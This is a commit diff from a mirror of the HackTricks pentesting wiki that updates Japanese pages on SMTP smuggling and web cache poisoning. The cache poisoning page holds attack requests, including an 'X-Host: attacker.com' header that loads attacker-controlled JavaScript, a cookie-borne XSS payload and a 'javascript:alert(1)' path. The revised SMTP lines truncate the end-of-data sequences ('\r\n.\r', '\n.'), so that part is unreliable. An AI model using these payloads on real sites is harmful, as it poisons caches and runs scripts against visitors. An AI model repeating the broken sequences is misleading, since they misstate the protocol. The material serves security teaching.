mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
Translated ['network-services-pentesting/pentesting-smtp/smtp-smuggling.
This commit is contained in:
parent
9041915594
commit
4a71b01210
12 changed files with 282 additions and 186 deletions
BIN
.gitbook/assets/image (1250).png
Normal file
BIN
.gitbook/assets/image (1250).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 33 KiB |
BIN
.gitbook/assets/image (1251).png
Normal file
BIN
.gitbook/assets/image (1251).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 29 KiB |
BIN
.gitbook/assets/image (1252).png
Normal file
BIN
.gitbook/assets/image (1252).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 32 KiB |
BIN
.gitbook/assets/image (1253).png
Normal file
BIN
.gitbook/assets/image (1253).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 30 KiB |
|
@ -531,6 +531,7 @@
|
||||||
* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
||||||
* [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
* [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
||||||
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
|
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
|
||||||
|
* [Cache Poisoning via URL discrepancies](pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md)
|
||||||
* [Cache Poisoning to DoS](pentesting-web/cache-deception/cache-poisoning-to-dos.md)
|
* [Cache Poisoning to DoS](pentesting-web/cache-deception/cache-poisoning-to-dos.md)
|
||||||
* [Clickjacking](pentesting-web/clickjacking.md)
|
* [Clickjacking](pentesting-web/clickjacking.md)
|
||||||
* [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md)
|
* [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md)
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# SMTP Smuggling
|
# SMTP Smuggling
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -27,27 +27,27 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
### どのように
|
### どのように
|
||||||
|
|
||||||
この脆弱性を悪用するために、攻撃者は**Outbound SMTPサーバーが1つのメールだと考えるデータを送信し、Inbound SMTPサーバーが複数のメールがあると考える必要があります**。
|
この脆弱性を悪用するために、攻撃者は**Outbound SMTPサーバーが1通のメールだと考えるデータを送信し、Inbound SMTPサーバーが複数のメールがあると考える必要があります**。
|
||||||
|
|
||||||
研究者たちは、異なる**Inboundサーバーがメールメッセージのデータの終わりとして異なる文字を考慮する**ことを発見しましたが、Outboundサーバーはそうではありません。\
|
研究者たちは、異なる**Inboundサーバーがメールメッセージのデータの終わりとして異なる文字を考慮する**ことを発見しましたが、Outboundサーバーはそうではありません。\
|
||||||
例えば、データの通常の終わりは`\r\n.\r\n`です。しかし、Inbound SMTPサーバーが`\n.\n`もサポートしている場合、攻撃者は**そのデータをメールに追加し、新しいメールを密輸するためのSMTPコマンドを指示し始めることができます**。前の画像のように。
|
例えば、データの通常の終わりは`\r\n.\r`です。しかし、Inbound SMTPサーバーが`\n.`もサポートしている場合、攻撃者は**そのデータをメールに追加し、新しいメールのSMTPコマンドを示し始めることができます**。前の画像のように密輸するために。
|
||||||
|
|
||||||
もちろん、これは**Outbound SMTPサーバーがこのデータをメッセージデータの終わりとして扱わない場合にのみ機能します**。そうでない場合、1つではなく2つのメールが見えるため、最終的にはこの脆弱性で悪用される非同期化が発生します。
|
もちろん、これは**Outbound SMTPサーバーがこのデータをメッセージデータの終わりとして扱わない場合にのみ機能します**。そうでない場合、1通ではなく2通のメールとして認識されるため、最終的にはこの脆弱性で悪用される非同期化が発生します。
|
||||||
|
|
||||||
潜在的な非同期化データ:
|
潜在的な非同期化データ:
|
||||||
|
|
||||||
* `\n.\n`
|
* `\n.`
|
||||||
* `\n.\r\n`
|
* `\n.\r`
|
||||||
|
|
||||||
また、SPFが回避されることに注意してください。なぜなら、`user@outlook.com`からのメールの中に`admin@outlook.com`のメールを密輸すると、**送信者は依然として`outlook.com`だからです。**
|
また、SPFが回避されることに注意してください。なぜなら、`user@outlook.com`から`admin@outlook.com`のメールを密輸すると、**送信者は依然として`outlook.com`だからです。**
|
||||||
|
|
||||||
## **参考文献**
|
## **参考文献**
|
||||||
|
|
||||||
* [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
|
* [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# キャッシュポイズニングとキャッシュデセプション
|
# キャッシュポイズニングとキャッシュデセプション
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -10,7 +10,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
||||||
|
|
||||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -18,7 +18,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
||||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
|
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
|
||||||
今すぐアクセスを取得:
|
今すぐアクセスを取得:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
||||||
|
@ -32,21 +32,21 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
||||||
|
|
||||||
## キャッシュポイズニング
|
## キャッシュポイズニング
|
||||||
|
|
||||||
キャッシュポイズニングは、クライアント側のキャッシュを操作して、クライアントが予期しない、部分的、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、影響を受けるページの人気に依存し、汚染された応答は、キャッシュ汚染の期間中にページを訪れるユーザーにのみ提供されます。
|
キャッシュポイズニングは、クライアント側のキャッシュを操作して、クライアントが予期しない、部分的、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、影響を受けるページの人気に依存します。汚染された応答は、キャッシュ汚染の期間中にページを訪れるユーザーにのみ提供されます。
|
||||||
|
|
||||||
キャッシュポイズニング攻撃の実行には、いくつかのステップが含まれます:
|
キャッシュポイズニング攻撃の実行には、いくつかのステップが含まれます:
|
||||||
|
|
||||||
1. **未キー入力の特定**:これらは、リクエストがキャッシュされるために必要ではないが、サーバーが返す応答を変更できるパラメータです。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。
|
1. **未キー入力の特定**:これらは、リクエストがキャッシュされるために必要ではないパラメータですが、サーバーが返す応答を変更する可能性があります。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。
|
||||||
2. **未キー入力の悪用**:未キー入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーの応答を変更するためにこれらのパラメータを誤用する方法を見つけることです。
|
2. **未キー入力の悪用**:未キー入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーの応答を変更するためにこれらのパラメータを誤用する方法を見つけることです。
|
||||||
3. **汚染された応答がキャッシュされることを確認**:最終ステップは、操作された応答がキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染された応答を受け取ります。
|
3. **汚染された応答がキャッシュされることを確認**:最終ステップは、操作された応答がキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染された応答を受け取ります。
|
||||||
|
|
||||||
### 発見:HTTPヘッダーを確認
|
### 発見:HTTPヘッダーを確認
|
||||||
|
|
||||||
通常、応答が**キャッシュに保存された**場合、**それを示すヘッダーが存在します**。どのヘッダーに注意を払うべきかは、この記事で確認できます:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
|
通常、応答が**キャッシュに保存された**場合、**それを示すヘッダーが存在します**。どのヘッダーに注意を払うべきかは、この投稿で確認できます:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
|
||||||
|
|
||||||
### 発見:キャッシュエラーコード
|
### 発見:キャッシュエラーコード
|
||||||
|
|
||||||
応答がキャッシュに保存されていると思われる場合、**不正なヘッダーを持つリクエストを送信**してみることができます。これには**ステータスコード400**で応答されるべきです。その後、リクエストに通常アクセスして、**応答が400ステータスコードであれば**、それが脆弱であることがわかります(DoSを実行することも可能です)。
|
応答がキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみることができます。これには**ステータスコード400**で応答されるべきです。その後、リクエストに通常アクセスして、**応答が400ステータスコードであれば**、それが脆弱であることがわかります(さらにはDoSを実行することもできます)。
|
||||||
|
|
||||||
さらにオプションを見つけることができます:
|
さらにオプションを見つけることができます:
|
||||||
|
|
||||||
|
@ -54,29 +54,32 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
||||||
[cache-poisoning-to-dos.md](cache-poisoning-to-dos.md)
|
[cache-poisoning-to-dos.md](cache-poisoning-to-dos.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
ただし、**時にはこれらのステータスコードがキャッシュされないことがある**ため、このテストは信頼できない可能性があります。
|
ただし、**時々これらの種類のステータスコードはキャッシュされない**ため、このテストは信頼できない可能性があります。
|
||||||
|
|
||||||
### 発見:未キー入力を特定し評価する
|
### 発見:未キー入力を特定し評価する
|
||||||
|
|
||||||
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、**ページの応答を変更する可能性のあるパラメータやヘッダーをブルートフォース**することができます。たとえば、ページが`X-Forwarded-For`ヘッダーを使用して、クライアントにそこからスクリプトを読み込むように指示している場合があります:
|
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、**ページの応答を変更する可能性のあるパラメータやヘッダーをブルートフォース**することができます。たとえば、ページが`X-Forwarded-For`ヘッダーを使用してクライアントにスクリプトをそこから読み込むように指示している場合:
|
||||||
```markup
|
```markup
|
||||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||||
```
|
```
|
||||||
### バックエンドサーバーから有害な応答を引き出す
|
### バックエンドサーバーから有害な応答を引き出す
|
||||||
|
|
||||||
パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、**どこで**応答に**反映**されているかを確認します。何かを悪用できますか(XSSを実行する、あなたが制御するJSコードを読み込む、DoSを実行する...)?
|
パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、**どこで**それが**反映**されているか、またはヘッダーからの応答に影響を与えているかを確認します。何らかの方法で悪用できますか(XSSを実行する、またはあなたが制御するJSコードを読み込む?DoSを実行する?...)
|
||||||
|
|
||||||
### 応答をキャッシュする
|
### 応答をキャッシュさせる
|
||||||
|
|
||||||
|
悪用できる**ページ**を**特定**し、使用する**パラメータ**/**ヘッダー**と**どのように**悪用するかが分かったら、そのページをキャッシュさせる必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
|
||||||
|
|
||||||
|
応答のヘッダー**`X-Cache`**は非常に役立つ可能性があります。リクエストがキャッシュされていない場合は値が**`miss`**になり、キャッシュされている場合は値が**`hit`**になります。\
|
||||||
|
ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次にリソースが再キャッシュされるのはいつかを知るために興味深いです:`Cache-Control: public, max-age=1800`
|
||||||
|
|
||||||
|
もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加のヘッダー**を**示す**ためにしばしば使用されます。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用しているユーザーのためにキャッシュを汚染することができます。
|
||||||
|
|
||||||
悪用できる**ページ**、使用する**パラメータ**/**ヘッダー**、および**どのように**悪用するかを**特定**したら、ページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。\
|
|
||||||
応答のヘッダー**`X-Cache`**は非常に便利で、リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つ可能性があります。\
|
|
||||||
ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次にリソースが再キャッシュされるのはいつかを知るために興味深いです:`Cache-Control: public, max-age=1800`\
|
|
||||||
もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加のヘッダー**を**示すため**に使用されることがよくあります。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用しているユーザーのためにキャッシュを汚染することができます。\
|
|
||||||
キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。
|
キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。
|
||||||
|
|
||||||
リクエストをキャッシュする際は、使用するヘッダーに**注意してください**。なぜなら、いくつかのヘッダーは**予期せず**に**キー付き**として使用される可能性があり、**被害者はその同じヘッダーを使用する必要がある**からです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。
|
リクエストをキャッシュする際は、使用するヘッダーに**注意してください**。いくつかのヘッダーは**予期せず**に**キーとして使用される**可能性があり、**被害者はその同じヘッダーを使用する必要があります**。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。
|
||||||
|
|
||||||
## 脆弱性の例
|
## 悪用の例
|
||||||
|
|
||||||
### 最も簡単な例
|
### 最も簡単な例
|
||||||
|
|
||||||
|
@ -103,15 +106,29 @@ GET / HTTP/1.1
|
||||||
Host: vulnerable.com
|
Host: vulnerable.com
|
||||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||||
```
|
```
|
||||||
注意してください、脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストがキャッシュをクリアします。
|
注意してください。脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストがキャッシュをクリーニングします。
|
||||||
|
|
||||||
### パストラバーサルを使用したキャッシュポイズニングによるAPIキーの盗難 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
### デリミタ、正規化、ドットを使用して不一致を生成する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||||
|
|
||||||
[**このレポートは**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものは、CloudflareがURLを正規化することなくキャッシュされ、リクエストがウェブサーバーに到達したときに行われました。
|
確認してください:
|
||||||
|
|
||||||
|
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
|
||||||
|
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### APIキーを盗むためのパストラバーサルによるキャッシュポイズニング <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||||
|
|
||||||
|
[**このレポートは**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLでOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものはすべてキャッシュされ、リクエストがウェブサーバーに到達したときにCloudflareがURLを正規化しなかったためです。
|
||||||
|
|
||||||
|
これは以下でもより詳しく説明されています:
|
||||||
|
|
||||||
|
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
|
||||||
|
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### 複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
### 複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||||
|
|
||||||
時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが管理するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指し示す場所を制御できます。
|
時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが制御するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指し示す場所を制御できます。
|
||||||
```markup
|
```markup
|
||||||
GET /resources/js/tracking.js HTTP/1.1
|
GET /resources/js/tracking.js HTTP/1.1
|
||||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||||
|
@ -120,7 +137,7 @@ X-Forwarded-Scheme: http
|
||||||
```
|
```
|
||||||
### 限定された `Vary` ヘッダーを利用した攻撃
|
### 限定された `Vary` ヘッダーを利用した攻撃
|
||||||
|
|
||||||
もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されているが、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を抽出し、その User-Agent を使用してキャッシュを汚染する方法を見つける必要があります。
|
もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されているが、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を抽出し、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。
|
||||||
```markup
|
```markup
|
||||||
GET / HTTP/1.1
|
GET / HTTP/1.1
|
||||||
Host: vulnerbale.net
|
Host: vulnerbale.net
|
||||||
|
@ -129,7 +146,7 @@ X-Host: attacker.com
|
||||||
```
|
```
|
||||||
### Fat Get
|
### Fat Get
|
||||||
|
|
||||||
URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディのパラメータを使用します。James KettleがGithubウェブサイトで見つけた脆弱性のように:
|
URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディからのパラメータを使用します。James KettleがGithubウェブサイトで見つけた脆弱性のように:
|
||||||
```
|
```
|
||||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||||
Host: github.com
|
Host: github.com
|
||||||
|
@ -140,15 +157,15 @@ report=innocent-victim
|
||||||
```
|
```
|
||||||
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||||
|
|
||||||
### パラメータクラッキング
|
### パラメータクロッキング
|
||||||
|
|
||||||
例えば、**パラメータ**をrubyサーバーで**`;`**文字を使って**`&`**の代わりに分離することが可能です。これを利用して、キーのないパラメータの値をキーのあるものの中に入れ込み、悪用することができます。
|
例えば、**パラメータ**をrubyサーバーで**`&`**の代わりに**`;`**文字を使用して分離することが可能です。これを利用して、キーのないパラメータ値をキーのあるものの中に入れ込み、悪用することができます。
|
||||||
|
|
||||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||||
|
|
||||||
### HTTPリクエストスムージングを悪用したHTTPキャッシュポイズニングの悪用
|
### HTTPリクエストスムージングを悪用したHTTPキャッシュポイズニングの悪用
|
||||||
|
|
||||||
[HTTPリクエストスムージングを悪用したキャッシュポイズニング攻撃の実行方法](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)についてここで学びます。
|
[HTTPリクエストスムージングを悪用したキャッシュポイズニング攻撃の実行方法](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)について学びましょう。
|
||||||
|
|
||||||
### ウェブキャッシュポイズニングの自動テスト
|
### ウェブキャッシュポイズニングの自動テスト
|
||||||
|
|
||||||
|
@ -156,23 +173,11 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
|
||||||
|
|
||||||
使用例: `wcvs -u example.com`
|
使用例: `wcvs -u example.com`
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
\
|
|
||||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)を使用して、世界で最も**高度な**コミュニティツールによってパワーアップされた**ワークフローを簡単に構築し、自動化**します。\
|
|
||||||
今すぐアクセスを取得:
|
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## 脆弱な例
|
## 脆弱な例
|
||||||
|
|
||||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||||
|
|
||||||
ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました(フラグメントは無視されます)。したがって、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれておらず、ホスト、パス、クエリのみが含まれていました。
|
ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました(フラグメントは無視されます)。したがって、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれていませんでした。
|
||||||
|
|
||||||
### GitHub CP-DoS
|
### GitHub CP-DoS
|
||||||
|
|
||||||
|
@ -180,7 +185,7 @@ content-typeヘッダーに不正な値を送信すると、405キャッシュ
|
||||||
|
|
||||||
### GitLab + GCP CP-DoS
|
### GitLab + GCP CP-DoS
|
||||||
|
|
||||||
